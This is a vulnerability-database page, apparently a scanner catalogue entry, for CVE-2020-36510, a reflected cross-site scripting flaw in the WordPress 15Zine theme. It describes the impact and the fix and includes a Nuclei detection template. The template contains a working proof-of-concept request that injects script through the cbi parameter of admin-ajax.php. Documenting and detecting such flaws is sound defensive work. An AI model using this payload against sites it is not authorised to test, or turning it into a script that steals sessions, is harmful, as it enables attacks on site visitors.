HexBrain

Browse / CVEs / CVE-2020-36510

CVE-2020-36510· codetipi / 15zine· CWE-79

WordPress 15Zine <3.3.0 - Cross-Site Scripting

mediumseverity
6.1CVSS score
2.6%likelihood of exploitation, next 30 days
86%of all CVEs are less likely
Readycheck to confirm it

WordPress 15Zine before 3.3.0 is vulnerable to reflected cross-site scripting because the theme does not sanitize the cbi parameter before including it in the HTTP response via the cb_s_a AJAX action.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Update WordPress 15Zine to version 3.3.0 or later to mitigate the vulnerability.

How to confirm it

Send: GET /wp-content/themes/15zine/readme.txt
Positive when: contains "/wp-content/themes/15zine/assets/"
Send: GET {{BaseURL}}/wp-admin/admin-ajax.php?action=cb_s_a&cbi=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2020-36510 -u <target>

The full check
id: CVE-2020-36510

info:
  name: WordPress 15Zine <3.3.0 - Cross-Site Scripting
  author: veshraj
  severity: medium
  description: |
    WordPress 15Zine before 3.3.0 is vulnerable to reflected cross-site scripting because the theme does not sanitize the cbi parameter before including it in the HTTP response via the cb_s_a AJAX action.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update WordPress 15Zine to version 3.3.0 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/d1dbc6d7-7488-40c2-bc38-0674ea5b3c95
    - https://nvd.nist.gov/vuln/detail/CVE-2020-36510
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-36510
    cwe-id: CWE-79
    epss-score: 0.0259
    epss-percentile: 0.85425
    cpe: cpe:2.3:a:codetipi:15zine:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: "false"
    max-request: 2
    vendor: codetipi
    product: 15zine
    framework: wordpress
  tags: cve2020,cve,xss,wordpress,wp-theme,wp,wpscan,codetipi,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/themes/15zine/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/themes/15zine/assets/'

  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=cb_s_a&cbi=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from